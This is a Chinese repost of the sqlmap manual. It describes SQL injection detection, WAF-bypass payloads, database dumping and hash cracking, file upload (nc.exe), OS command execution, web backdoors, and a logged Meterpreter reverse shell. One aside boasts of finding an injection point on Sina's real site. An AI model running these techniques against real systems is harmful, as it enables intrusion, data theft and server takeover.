当前位置: 移动技术网 > 网络运营>安全>企业安全 > SqlMap用户手册

SqlMap用户手册

2018年03月20日  | 移动技术网网络运营  | 我要评论



当给sqlmap这么一个url的时候,它会:

1、判断可注入的参数

2、判断可以用那种sql注入技术来注入

3、识别出哪种数据库

4、根据用户选择,读取哪些数据
sqlmap支持五种不同的注入模式:

1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。

2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。

3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

4、联合查询注入,可以使用union的情况下的注入。

5、堆查询注入,可以同时执行多条语句的执行时的注入。
sqlmap支持的数据库有:

mysql, oracle, postgresql, microsoft sql server, microsoft access, ibm db2, sqlite, firebird, sybase和sap maxdb
 
可以提供一个简单的url,burp或webscarab请求日志文件,文本文档中的完整http请求或者google的搜索,匹配出结果页面,也可以自己定义一个正则来判断那个地址去测试。

测试get参数,post参数,http cookie参数,http user-agent头和http referer头来确认是否有sql注入,它也可以指定用逗号分隔的列表的具体参数来测试。

可以设定http(s)请求的并发数,来提高盲注时的效率。

附上sqlmap的视频:

使用sqlmap的实例文章:

可以点击下载最新版本sqlmap。

也可以使用git来获取sqlmap

git clone sqlmap-dev
之后可以直接使用命令来更新

python sqlmap.py --update
或者

git pull

更新sqlmap

如果你想观察sqlmap对一个点是进行了怎样的尝试判断以及读取数据的,可以使用-v参数。

共有七个等级,默认为1:

0、只显示python错误以及严重的信息。

1、同时显示基本信息和警告信息。(默认)

2、同时显示debug信息。

3、同时显示注入的payload。

4、同时显示http请求。

5、同时显示http响应头。

6、同时显示http响应页面。
 

如果你想看到sqlmap发送的测试payload最好的等级就是3。

获取目标方式
目标url

参数:-u或者–url

格式:http(s)://targeturl[:port]/[…]

例如:python sqlmap.py -u "" -f --banner --dbs --users

从burp或者webscarab代理中获取日志

参数:-l

可以直接吧burp proxy或者webscarab proxy中的日志直接倒出来交给sqlmap来一个一个检测是否有注入。

从文本中获取多个目标扫描

参数:-m

文件中保存url格式如下,sqlmap会一个一个检测

*
 

从文件中加载http请求
参数:-r

sqlmap可以从一个文本文件中获取http请求,这样就可以跳过设置一些其他参数(比如cookie,post数据,等等)。

比如文本文件内如下:

post /vuln.php http/1.1
host:
user-agent: mozilla/4.0

id=1

当请求是https的时候你需要配合这个–force-ssl参数来使用,或者你可以在host头后门加上:443

处理google的搜索结果

参数:-g

sqlmap可以测试注入google的搜索结果中的get参数(只获取前100个结果)。

例子:

python sqlmap.py -g "inurl:".php?id=1""

(很牛b的功能,测试了一下,第十几个就找到新浪的一个注入点)

此外可以使用-c参数加载sqlmap.conf文件里面的相关配置。

请求
http数据

参数:–data

此参数是把数据以post方式提交,sqlmap会像检测get参数一样检测post的参数。

例子:

python sqlmap.py -u "" --data="id=1" -f --banner --dbs --users
 

参数拆分字符

参数:–param-del

当get或post的数据需要用其他字符分割测试参数的时候需要用到此参数。

例子:

python sqlmap.py -u "" --data="query=foobar;id=1" --param-del=";" -f --banner --dbs --users
 

http cookie头

参数:–cookie,–load-cookies,–drop-set-cookie

这个参数在以下两个方面很有用:

1、web应用需要登陆的时候。

2、你想要在这些头参数中测试sql注入时。

可以通过抓包把cookie获取到,复制出来,然后加到–cookie参数里。

在http请求中,遇到set-cookie的话,sqlmap会自动获取并且在以后的请求中加入,并且会尝试sql注入。

如果你不想接受set-cookie可以使用–drop-set-cookie参数来拒接。

当你使用–cookie参数时,当返回一个set-cookie头的时候,sqlmap会询问你用哪个cookie来继续接下来的请求。当–level的参数设定为2或者2以上的时候,sqlmap会尝试注入cookie参数。

http user-agent头

参数:–user-agent,–random-agent

默认情况下sqlmap的http请求头中user-agent值是:

sqlmap/1.0-dev-xxxxxxx ()
 

可以使用–user-anget参数来修改,同时也可以使用–random-agnet参数来随机的从./txt/user-agents.txt中获取。

当–level参数设定为3或者3以上的时候,会尝试对user-angent进行注入。

http referer头

参数:–referer

sqlmap可以在请求中伪造http中的referer,当–level参数设定为3或者3以上的时候会尝试对referer注入。

额外的http头

参数:–headers

可以通过–headers参数来增加额外的http头

http认证保护

参数:–auth-type,–auth-cred

这些参数可以用来登陆http的认证保护支持三种方式:

1、basic

2、digest

3、ntlm

例子:

python sqlmap.py -u "" --auth-type basic --auth-cred "testuser:testpass"

http协议的证书认证

参数:–auth-cert

当web服务器需要客户端证书进行身份验证时,需要提供两个文件:key_file,cert_file。

key_file是格式为pem文件,包含着你的私钥,cert_file是格式为pem的连接文件。

http(s)代理

参数:–proxy,–proxy-cred和–ignore-proxy

使用–proxy代理是格式为:。

当http(s)代理需要认证是可以使用–proxy-cred参数:username:password。

–ignore-proxy拒绝使用本地局域网的http(s)代理。

http请求延迟

参数:–delay

可以设定两个http(s)请求间的延迟,设定为0.5的时候是半秒,默认是没有延迟的。

设定超时时间

参数:–timeout

可以设定一个http(s)请求超过多久判定为超时,10.5表示10.5秒,默认是30秒。

设定重试超时

参数:–retries

当http(s)超时时,可以设定重新尝试连接次数,默认是3次。

设定随机改变的参数值

参数:–randomize

可以设定某一个参数值在每一次请求中随机的变化,长度和类型会与提供的初始值一样。

利用正则过滤目标网址

参数:–scope

例如:

python sqlmap.py -l burp.log --scope="(www)?.target.(com|net|org)"

避免过多的错误请求被屏蔽

参数:–safe-url,–safe-freq

有的web应用程序会在你多次访问错误的请求时屏蔽掉你以后的所有请求,这样在sqlmap进行探测或者注入的时候可能造成错误请求而触发这个策略,导致以后无法进行。

绕过这个策略有两种方式:

1、--safe-url:提供一个安全不错误的连接,每隔一段时间都会去访问一下。
2、--safe-freq:提供一个安全不错误的连接,每次测试请求之后都会再访问一边安全连接。

关掉url参数值编码

参数:–skip-urlencode

根据参数位置,他的值默认将会被url编码,但是有些时候后端的web服务器不遵守rfc标准,只接受不经过url编码的值,这时候就需要用–skip-urlencode参数。

每次请求时候执行自定义的python代码

参数:–eval

在有些时候,需要根据某个参数的变化,而修改另个一参数,才能形成正常的请求,这时可以用–eval参数在每次请求时根据所写python代码做完修改后请求。

例子:

python sqlmap.py -u "" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"

上面的请求就是每次请求时根据id参数值,做一次md5后作为hash参数的值。

注入
测试参数
参数:-p,–skip

sqlmap默认测试所有的get和post参数,当–level的值大于等于2的时候也会测试http cookie头的值,当大于等于3的时候也会测试user-agent和http referer头的值。但是你可以手动用-p参数设置想要测试的参数。例如: -p “id,user-anget”

当你使用–level的值很大但是有个别参数不想测试的时候可以使用–skip参数。

例如:–skip=”user-angent.referer”

在有些时候web服务器使用了url重写,导致无法直接使用sqlmap测试参数,可以在想测试的参数后面加*

例如:

python sqlmap.py -u ""

sqlmap将会测试value1的位置是否可注入。

指定数据库

参数:–dbms

默认情况系sqlmap会自动的探测web应用后端的数据库是什么,sqlmap支持的数据库有:

mysql、oracle、postgresql、microsoft sql server、microsoft access、sqlite、firebird、sybase、sap maxdb、db2

指定数据库服务器系统

参数:–os

默认情况下sqlmap会自动的探测数据库服务器系统,支持的系统有:linux、windows。

指定无效的大数字

参数:–invalid-bignum

当你想指定一个报错的数值时,可以使用这个参数,例如默认情况系id=13,sqlmap会变成id=-13来报错,你可以指定比如id=9999999来报错。

指定无效的逻辑

参数:–invalid-logical

原因同上,可以指定id=13把原来的id=-13的报错改成id=13 and 18=19。

注入payload

参数:–prefix,–suffix

在有些环境中,需要在注入的payload的前面或者后面加一些字符,来保证payload的正常执行。

例如,代码中是这样调用数据库的:

$query = "select * from users where id=(’" . $_get[’id’] . "’) limit 0, 1";
这时你就需要–prefix和–suffix参数了:

python sqlmap.py -u "" -p id --prefix "’)" --suffix "and (’abc’=’abc"
这样执行的sql语句变成:

$query = "select * from users where id=(’1’) <payload> and (’abc’=’abc’) limit 0, 1";
 

修改注入的数据

参数:–tamper

sqlmap除了使用char()函数来防止出现单引号之外没有对注入的数据修改,你可以使用–tamper参数对数据做修改来绕过waf等设备。

下面是一个tamper脚本的格式:

# needed imports
from lib.core.enums import priority
# define which is the order of application of tamper scripts against
# the payload
__priority__ = priority.normal
def tamper(payload):
    '''
    description of your tamper script
    '''
    retval = payload
    # your code to tamper the original payload
    # return the tampered payload
    return retval
 

可以查看 tamper/ 目录下的有哪些可用的脚本

例如:

$ python sqlmap.py -u "" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3

[hh:mm:03] [debug] cleaning up configuration parameters
[hh:mm:03] [info] loading tamper script 'between'
[hh:mm:03] [info] loading tamper script 'randomcase'
[hh:mm:03] [info] loading tamper script 'space2comment'
[...]
[hh:mm:04] [info] testing 'and boolean-based blind - where or having clause'
[hh:mm:04] [payload] 1)/**/and/**/1369=7706/**/and/**/(4092=4092
[hh:mm:04] [payload] 1)/**/and/**/9267=9267/**/and/**/(4057=4057
[hh:mm:04] [payload] 1/**/and/**/950=7041
[...]
[hh:mm:04] [info] testing 'mysql >= 5.0 and error-based - where or having clause'
[hh:mm:04] [payload] 1/**/and/**/(select/**/9921/**/from(select/**/count(*),concat(char(
58,117,113,107,58),(select/**/(case/**/when/**/(9921=9921)/**/then/**/1/**/else/**/0/**/
end)),char(58,106,104,104,58),floor(rand(0)*2))x/**/from/**/information_schema.tables/**/
group/**/by/**/x)a)
[hh:mm:04] [info] get parameter 'id' is 'mysql >= 5.0 and error-based - where or having
clause' injectable
[...]
 

探测
探测等级

参数:–level

共有五个等级,默认为1,sqlmap使用的payload可以在xml/payloads.xml中看到,你也可以根据相应的格式添加自己的payload。

这个参数不仅影响使用哪些payload同时也会影响测试的注入点,get和post的数据都会测试,http cookie在level为2的时候就会测试,http user-agent/referer头在level为3的时候就会测试。

总之在你不确定哪个payload或者参数为注入点的时候,为了保证全面性,建议使用高的level值。

风险等级

参数:–risk

共有四个风险等级,默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加or语句的sql注入测试。

在有些时候,例如在update的语句中,注入一个or的测试语句,可能导致更新的整个表,可能造成很大的风险。

测试的语句同样可以在xml/payloads.xml中找到,你也可以自行添加payload。

页面比较

参数:–string,–not-string,–regexp,–code

默认情况下sqlmap通过判断返回页面的不同来判断真假,但有时候这会产生误差,因为有的页面在每次刷新的时候都会返回不同的代码,比如页面当中包含一个动态的广告或者其他内容,这会导致sqlmap的误判。此时用户可以提供一个字符串或者一段正则匹配,在原始页面与真条件下的页面都存在的字符串,而错误页面中不存在(使用–string参数添加字符串,–regexp添加正则),同时用户可以提供一段字符串在原始页面与真条件下的页面都不存在的字符串,而错误页面中存在的字符串(–not-string添加)。用户也可以提供真与假条件返回的http状态码不一样来注入,例如,响应200的时候为真,响应401的时候为假,可以添加参数–code=200。

参数:–text-only,–titles

有些时候用户知道真条件下的返回页面与假条件下返回页面的不同位置在哪里可以使用–text-only(http响应体中不同)–titles(html的title标签中不同)。

注入技术
测试是否是注入

参数:–technique

这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式。

支持的探测方式如下:

b: boolean-based blind sql injection(布尔型注入)
e: error-based sql injection(报错型注入)
u: union query sql injection(可联合查询注入)
s: stacked queries sql injection(可多语句查询注入)
t: time-based blind sql injection(基于时间延迟注入)
 

设定延迟注入的时间

参数:–time-sec

当使用继续时间的盲注时,时刻使用–time-sec参数设定延时时间,默认是5秒。

设定union查询字段数

参数:–union-cols

默认情况下sqlmap测试union查询注入会测试1-10个字段数,当–level为5的时候他会增加测试到50个字段数。设定–union-cols的值应该是一段整数,如:12-16,是测试12-16个字段数。

设定union查询使用的字符

参数:–union-char

默认情况下sqlmap针对union查询的注入会使用null字符,但是有些情况下会造成页面返回失败,而一个随机整数是成功的,这是你可以用–union-char指定union查询的字符。

二阶sql注入

参数:–second-order

有些时候注入点输入的数据看返回结果的时候并不是当前的页面,而是另外的一个页面,这时候就需要你指定到哪个页面获取响应判断真假。–second-order后门跟一个判断页面的url地址。

列数据
标志

参数:-b,–banner

大多数的数据库系统都有一个函数可以返回数据库的版本号,通常这个函数是version()或者变量@@version这主要取决与是什么数据库。

用户

参数:–current-user

在大多数据库中可以获取到管理数据的用户。

当前数据库

参数:–current-db

返还当前连接的数据库。

当前用户是否为管理用

参数:–is-dba

判断当前的用户是否为管理,是的话会返回true。

列数据库管理用户

参数:–users

当前用户有权限读取包含所有用户的表的权限时,就可以列出所有管理用户。

列出并破解数据库用户的hash

参数:–passwords

当前用户有权限读取包含用户密码的表的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。

例子:

$ python sqlmap.py -u "" --passwords -v 1
[...]
back-end dbms: postgresql
[hh:mm:38] [info] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [y/n/q] y
[hh:mm:42] [info] using hash method: 'postgres_passwd'
what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt]
[hh:mm:46] [info] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/n] n
[hh:mm:48] [info] starting dictionary attack (postgres_passwd)
[hh:mm:49] [info] found: 'testpass' for user: 'testuser'
[hh:mm:50] [info] found: 'testpass' for user: 'postgres'
database management system users password hashes:
[*] postgres [1]:
    password hash: md5d7d880f96044b72d0bba108ace96d1e4
    clear-text password: testpass
[*] testuser [1]:
    password hash: md599e5ea7a6f7c3269995cba3927fd0093
    clear-text password: testpass
 

可以看到sqlmap不仅勒出数据库的用户跟密码,同时也识别出是postgresql数据库,并询问用户是否采用字典爆破的方式进行破解,这个爆破已经支持oracle和microsoft sql server。

也可以提供-u参数来指定爆破哪个用户的hash。

列出数据库管理员权限

参数:–privileges

当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的权限,sqlmap将会告诉你哪个是数据库的超级管理员。也可以用-u参数指定你想看哪个用户的权限。

列出数据库管理员角色

参数:–roles

当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的角色,也可以用-u参数指定你想看哪个用户的角色。

仅适用于当前数据库是oracle的时候。

列出数据库系统的数据库

参数:–dbs

当前用户有权限读取包含所有数据库列表信息的表中的时候,即可列出所有的数据库。

列举数据库表

参数:–tables,–exclude-sysdbs,-d

当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出一个特定数据的所有表。

如果你不提供-d参数来列指定的一个数据的时候,sqlmap会列出数据库所有库的所有表。

–exclude-sysdbs参数是指排除了所有的系统数据库。

需要注意的是在oracle中你需要提供的是tablespace_name而不是数据库名称。

列举数据库表中的字段

参数:–columns,-c,-t,-d

当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出指定数据库表中的字段,同时也会列出字段的数据类型。

如果没有使用-d参数指定数据库时,默认会使用当前数据库。

列举一个sqlite的例子:

$ python sqlmap.py -u "" --columns -d testdb -t users -c name
[...]
database: sqlite_masterdb
table: users
[3 columns]
+---------+---------+
| column  | type    |
+---------+---------+
| id      | integer |
| name    | text    |
| surname | text    |
+---------+---------+
 

列举数据库系统的架构

参数:–schema,–exclude-sysdbs

用户可以用此参数获取数据库的架构,包含所有的数据库,表和字段,以及各自的类型。

加上–exclude-sysdbs参数,将不会获取数据库自带的系统库内容。

mysql例子:

$ python sqlmap.py -u "" --schema --batch --exclude-sysdbs
[...]
database: owasp10
table: accounts
[4 columns]
+-------------+---------+
| column      | type    |
+-------------+---------+
| cid         | int(11) |
| mysignature | text    |
| password    | text    |
| username    | text    |
+-------------+---------+

database: owasp10
table: blogs_table
[4 columns]
+--------------+----------+
| column       | type     |
+--------------+----------+
| date         | datetime |
| blogger_name | text     |
| cid          | int(11)  |
| comment      | text     |
+--------------+----------+

database: owasp10
table: hitlog
[6 columns]
+----------+----------+
| column   | type     |
+----------+----------+
| date     | datetime |
| browser  | text     |
| cid      | int(11)  |
| hostname | text     |
| ip       | text     |
| referer  | text     |
+----------+----------+

database: testdb
table: users
[3 columns]
+---------+---------------+
| column  | type          |
+---------+---------------+
| id      | int(11)       |
| name    | varchar(500)  |
| surname | varchar(1000) |
+---------+---------------+
[...]
 

获取表中数据个数

参数:–count

有时候用户只想获取表中的数据个数而不是具体的内容,那么就可以使用这个参数。

列举一个microsoft sql server例子:

$ python sqlmap.py -u "" --count -d testdb
[...]
database: testdb
+----------------+---------+
| table          | entries |
+----------------+---------+
| dbo.users      | 4       |
| dbo.users_blob | 2       |
+----------------+---------+
 

获取整个表的数据

参数:–dump,-c,-t,-d,–start,–stop,–first,–last

如果当前管理员有权限读取数据库其中的一个表的话,那么就能获取这个表的所有内容。

使用-d,-t参数指定想要获取哪个库的哪个表,不适用-d参数时,默认使用当前库。

列举一个firebird的例子:

$ python sqlmap.py -u "" --dump -t users
[...]
database: firebird_masterdb
table: users
[4 entries]
+----+--------+------------+
| id | name   | surname    |
+----+--------+------------+
| 1  | luther | blisset    |
| 2  | fluffy | bunny      |
| 3  | wu     | ming       |
| 4  | null   | nameisnull |
+----+--------+------------+
 

可以获取指定库中的所有表的内容,只用-dump跟-d参数(不使用-t与-c参数)。

也可以用-dump跟-c获取指定的字段内容。

sqlmap为每个表生成了一个csv文件。

如果你只想获取一段数据,可以使用–start和–stop参数,例如,你只想获取第一段数据可以使用–stop 1,如果想获取第二段与第三段数据,使用参数 –start 1 –stop 3。

也可以用–first与–last参数,获取第几个字符到第几个字符的内容,如果你想获取字段中第三个字符到第五个字符的内容,使用–first 3 –last 5,只在盲注的时候使用,因为其他方式可以准确的获取注入内容,不需要一个字符一个字符的猜解。

获取所有数据库表的内容

参数:–dump-all,–exclude-sysdbs

使用–dump-all参数获取所有数据库表的内容,可同时加上–exclude-sysdbs只获取用户数据库的表,需要注意在microsoft sql server中master数据库没有考虑成为一个系统数据库,因为有的管理员会把他当初用户数据库一样来使用它。

搜索字段,表,数据库

参数:–search,-c,-t,-d

–search可以用来寻找特定的数据库名,所有数据库中的特定表名,所有数据库表中的特定字段。

可以在一下三种情况下使用:

-c后跟着用逗号分割的列名,将会在所有数据库表中搜索指定的列名。
-t后跟着用逗号分割的表名,将会在所有数据库中搜索指定的表名
-d后跟着用逗号分割的库名,将会在所有数据库中搜索指定的库名。
 

运行自定义的sql语句

参数:–sql-query,–sql-shell

sqlmap会自动检测确定使用哪种sql注入技术,如何插入检索语句。

如果是select查询语句,sqlmap将会输出结果。如果是通过sql注入执行其他语句,需要测试是否支持多语句执行sql语句。

列举一个mircrosoft sql server 2000的例子:

$ python sqlmap.py -u "" --sql-query "select 'foo'" -v 1

[...]
[hh:mm:14] [info] fetching sql select query output: 'select 'foo''
[hh:mm:14] [info] retrieved: foo
select 'foo':    'foo'

$ python sqlmap.py -u "" --sql-query "select 'foo', 'bar'" -v 2

[...]
[hh:mm:50] [info] fetching sql select query output: 'select 'foo', 'bar''
[hh:mm:50] [info] the sql query provided has more than a field. sqlmap will now unpack it into
distinct queries to be able to retrieve the output even if we are going blind
[hh:mm:50] [debug] query: select isnull(cast((char(102)+char(111)+char(111)) as varchar(8000)),
(char(32)))
[hh:mm:50] [info] retrieved: foo
[hh:mm:50] [debug] performed 27 queries in 0 seconds
[hh:mm:50] [debug] query: select isnull(cast((char(98)+char(97)+char(114)) as varchar(8000)),
(char(32)))
[hh:mm:50] [info] retrieved: bar
[hh:mm:50] [debug] performed 27 queries in 0 seconds
select 'foo', 'bar':    'foo, bar'
 

爆破
暴力破解表名

参数:–common-tables

当使用–tables无法获取到数据库的表时,可以使用此参数。

通常是如下情况:

1、mysql数据库版本小于5.0,没有information_schema表。
2、数据库是microssoft access,系统表msysobjects是不可读的(默认)。
3、当前用户没有权限读取系统中保存数据结构的表的权限。
 

暴力破解的表在txt/common-tables.txt文件中,你可以自己添加。

列举一个mysql 4.1的例子:

$ python sqlmap.py -u "" --common-tables -d testdb --banner

[...]
[hh:mm:39] [info] testing mysql
[hh:mm:39] [info] confirming mysql
[hh:mm:40] [info] the back-end dbms is mysql
[hh:mm:40] [info] fetching banner
web server operating system: windows
web application technology: php 5.3.1, apache 2.2.14
back-end dbms operating system: windows
back-end dbms: mysql &lt; 5.0.0
banner:    '4.1.21-community-nt'

[hh:mm:40] [info] checking table existence using items from '/software/sqlmap/txt/common-tables.txt'
[hh:mm:40] [info] adding words used on web page to the check list
please enter number of threads? [enter for 1 (current)] 8
[hh:mm:43] [info] retrieved: users

database: testdb
[1 table]
+-------+
| users |
+-------+
 

暴力破解列名

参数:–common-columns

与暴力破解表名一样,暴力跑的列名在txt/common-columns.txt中。

用户自定义函数注入
参数:–udf-inject,–shared-lib

你可以通过编译mysql注入你自定义的函数(udfs)或postgresql在windows中共享库,dll,或者linux/unix中共享对象,sqlmap将会问你一些问题,上传到服务器数据库自定义函数,然后根据你的选择执行他们,当你注入完成后,sqlmap将会移除它们。

系统文件操作
从数据库服务器中读取文件

参数:–file-read

当数据库为mysql,postgresql或microsoft sql server,并且当前用户有权限使用特定的函数。读取的文件可以是文本也可以是二进制文件。

列举一个microsoft sql server 2005的例子:

$ python sqlmap.py -u ""
--file-read "c:/example.exe" -v 1

[...]
[hh:mm:49] [info] the back-end dbms is microsoft sql server
web server operating system: windows 2000
web application technology: asp.net, microsoft iis 6.0, asp
back-end dbms: microsoft sql server 2005

[hh:mm:50] [info] fetching file: 'c:/example.exe'
[hh:mm:50] [info] the sql query provided returns 3 entries
c:/example.exe file saved to:    '/software/sqlmap/output/192.168.136.129/files/c__example.exe'
[...]

$ ls -l output/192.168.136.129/files/c__example.exe
-rw-r--r-- 1 inquis inquis 2560 2011-mm-dd hh:mm output/192.168.136.129/files/c__example.exe

$ file output/192.168.136.129/files/c__example.exe
output/192.168.136.129/files/c__example.exe: pe32 executable for ms windows (gui) intel
80386 32-bit
 

把文件上传到数据库服务器中

参数:–file-write,–file-dest

当数据库为mysql,postgresql或microsoft sql server,并且当前用户有权限使用特定的函数。上传的文件可以是文本也可以是二进制文件。

列举一个mysql的例子:

$ file /software/nc.exe.packed
/software/nc.exe.packed: pe32 executable for ms windows (console) intel 80386 32-bit

$ ls -l /software/nc.exe.packed
-rwxr-xr-x 1 inquis inquis 31744 2009-mm-dd hh:mm /software/nc.exe.packed

$ python sqlmap.py -u "" --file-write
"/software/nc.exe.packed" --file-dest "c:/windows/temp/nc.exe" -v 1

[...]
[hh:mm:29] [info] the back-end dbms is mysql
web server operating system: windows 2003 or 2008
web application technology: asp.net, microsoft iis 6.0, asp.net 2.0.50727
back-end dbms: mysql &gt;= 5.0.0

[...]
do you want confirmation that the file 'c:/windows/temp/nc.exe' has been successfully
written on the back-end dbms file system? [y/n] y
[hh:mm:52] [info] retrieved: 31744
[hh:mm:52] [info] the file has been successfully written and its size is 31744 bytes,
same size as the local file '/software/nc.exe.packed'
 

运行任意操作系统命令

参数:–os-cmd,–os-shell

当数据库为mysql,postgresql或microsoft sql server,并且当前用户有权限使用特定的函数。

在mysql、postgresql,sqlmap上传一个二进制库,包含用户自定义的函数,sys_exec()和sys_eval()。

那么他创建的这两个函数可以执行系统命令。在microsoft sql server,sqlmap将会使用xp_cmdshell存储过程,如果被禁(在microsoft sql server 2005及以上版本默认止),sqlmap会重新启用它,如果不存在,会自动创建。

列举一个postgresql的例子:

$ python sqlmap.py -u ""
--os-cmd id -v 1

[...]
web application technology: php 5.2.6, apache 2.2.9
back-end dbms: postgresql
[hh:mm:12] [info] fingerprinting the back-end dbms operating system
[hh:mm:12] [info] the back-end dbms operating system is linux
[hh:mm:12] [info] testing if current user is dba
[hh:mm:12] [info] detecting back-end dbms version from its banner
[hh:mm:12] [info] checking if udf 'sys_eval' already exist
[hh:mm:12] [info] checking if udf 'sys_exec' already exist
[hh:mm:12] [info] creating udf 'sys_eval' from the binary udf file
[hh:mm:12] [info] creating udf 'sys_exec' from the binary udf file
do you want to retrieve the command standard output? [y/n/a] y
command standard output:    'uid=104(postgres) gid=106(postgres) groups=106(postgres)'

[hh:mm:19] [info] cleaning up the database management system
do you want to remove udf 'sys_eval'? [y/n] y
do you want to remove udf 'sys_exec'? [y/n] y
[hh:mm:23] [info] database management system cleanup finished
[hh:mm:23] [warning] remember that udf shared object files saved on the file system can
only be deleted manually
 

用–os-shell参数也可以模拟一个真实的shell,可以输入你想执行的命令。

当不能执行多语句的时候(比如php或者asp的后端数据库为mysql时),仍然可能使用into outfile写进可写目录,来创建一个web后门。支持的语言:

1、asp
2、asp.net
3、jsp
4、php
 

meterpreter配合使用

参数:–os-pwn,–os-smbrelay,–os-bof,–priv-esc,–msf-path,–tmp-path

当数据库为mysql,postgresql或microsoft sql server,并且当前用户有权限使用特定的函数,可以在数据库与攻击者直接建立tcp连接,这个连接可以是一个交互式命令行的meterpreter会话,sqlmap根据metasploit生成shellcode,并有四种方式执行它:

1、通过用户自定义的sys_bineval()函数在内存中执行metasplit的shellcode,支持mysql和postgresql数据库,参数:--os-pwn。
2、通过用户自定义的函数上传一个独立的payload执行,mysql和postgresql的sys_exec()函数,microsoft sql server的xp_cmdshell()函数,参数:--os-pwn。
3、通过smb攻击(ms08-068)来执行metasploit的shellcode,当sqlmap获取到的权限足够高的时候(linux/unix的uid=0,windows是administrator),--os-smbrelay。
4、通过溢出microsoft sql server 2000和2005的sp_replwritetovarbin存储过程(ms09-004),在内存中执行metasploit的payload,参数:--os-bof
列举一个mysql例子:

$ python sqlmap.py -u "" --os-pwn --msf-path /software/metasploit

[...]
[hh:mm:31] [info] the back-end dbms is mysql
web server operating system: windows 2003
web application technology: asp.net, asp.net 4.0.30319, microsoft iis 6.0
back-end dbms: mysql 5.0
[hh:mm:31] [info] fingerprinting the back-end dbms operating system
[hh:mm:31] [info] the back-end dbms operating system is windows
how do you want to establish the tunnel?
[1] tcp: metasploit framework (default)
[2] icmp: icmpsh - icmp tunneling
&gt;
[hh:mm:32] [info] testing if current user is dba
[hh:mm:32] [info] fetching current user
what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
&gt;
[hh:mm:33] [info] checking if udf 'sys_bineval' already exist
[hh:mm:33] [info] checking if udf 'sys_exec' already exist
[hh:mm:33] [info] detecting back-end dbms version from its banner
[hh:mm:33] [info] retrieving mysql base directory absolute path
[hh:mm:34] [info] creating udf 'sys_bineval' from the binary udf file
[hh:mm:34] [info] creating udf 'sys_exec' from the binary udf file
how do you want to execute the metasploit shellcode on the back-end database underlying
operating system?
[1] via udf 'sys_bineval' (in-memory way, anti-forensics, default)
[2] stand-alone payload stager (file system way)
&gt;
[hh:mm:35] [info] creating metasploit framework multi-stage shellcode
which connection type do you want to use?
[1] reverse tcp: connect back from the database host to this machine (default)
[2] reverse tcp: try to connect back from the database host to this machine, on all ports
between the specified and 65535
[3] bind tcp: listen on the database host for a connection
&gt;
which is the local address? [192.168.136.1]
which local port number do you want to use? [60641]
which payload do you want to use?
[1] meterpreter (default)
[2] shell
[3] vnc
&gt;
[hh:mm:40] [info] creation in progress ... done
[hh:mm:43] [info] running metasploit framework command line interface locally, please wait..

                                _
                                | |      o
_  _  _    _ _|_  __,   ,    _  | |  __    _|_
/ |/ |/ |  |/  |  /  |  / _|/ _|/  /  _|  |
|  |  |_/|__/|_/_/|_/ / |__/ |__/__/ |_/|_/
                        /|
                        |

    =[ metasploit v3.7.0-dev [core:3.7 api:1.0]
+ -- --=[ 674 exploits - 351 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops
    =[ svn r12272 updated 4 days ago (2011.04.07)

payload =&gt; windows/meterpreter/reverse_tcp
exitfunc =&gt; thread
lport =&gt; 60641
lhost =&gt; 192.168.136.1
[*] started reverse handler on 192.168.136.1:60641
[*] starting the payload handler...
[hh:mm:48] [info] running metasploit framework shellcode remotely via udf 'sys_bineval',
please wait..
[*] sending stage (749056 bytes) to 192.168.136.129
[*] meterpreter session 1 opened (192.168.136.1:60641 -&gt; 192.168.136.129:1689) at mon apr 11
hh:mm:52 +0100 2011

meterpreter &gt; loading extension espia...success.
meterpreter &gt; loading extension incognito...success.
meterpreter &gt; [-] the 'priv' extension has already been loaded.
meterpreter &gt; loading extension sniffer...success.
meterpreter &gt; system language : en_us
os              : windows .net server (build 3790, service pack 2).
computer        : w2k3r2
architecture    : x86
meterpreter     : x86/win32
meterpreter &gt; server username: nt authoritysystem
meterpreter &gt; ipconfig

ms tcp loopback interface
hardware mac: 00:00:00:00:00:00
ip address  : 127.0.0.1
netmask     : 255.0.0.0

intel(r) pro/1000 mt network connection
hardware mac: 00:0c:29:fc:79:39
ip address  : 192.168.136.129
netmask     : 255.255.255.0

meterpreter &gt; exit

[*] meterpreter session 1 closed.  reason: user exit
默认情况下mysql在windows上以system权限运行,postgresql在windows与linux中是低权限运行,microsoft sql server 2000默认是以system权限运行,microsoft sql server 2005与2008大部分是以network service有时是local service。

如对本文有疑问, 点击进行留言回复!!

相关文章:

验证码:
移动技术网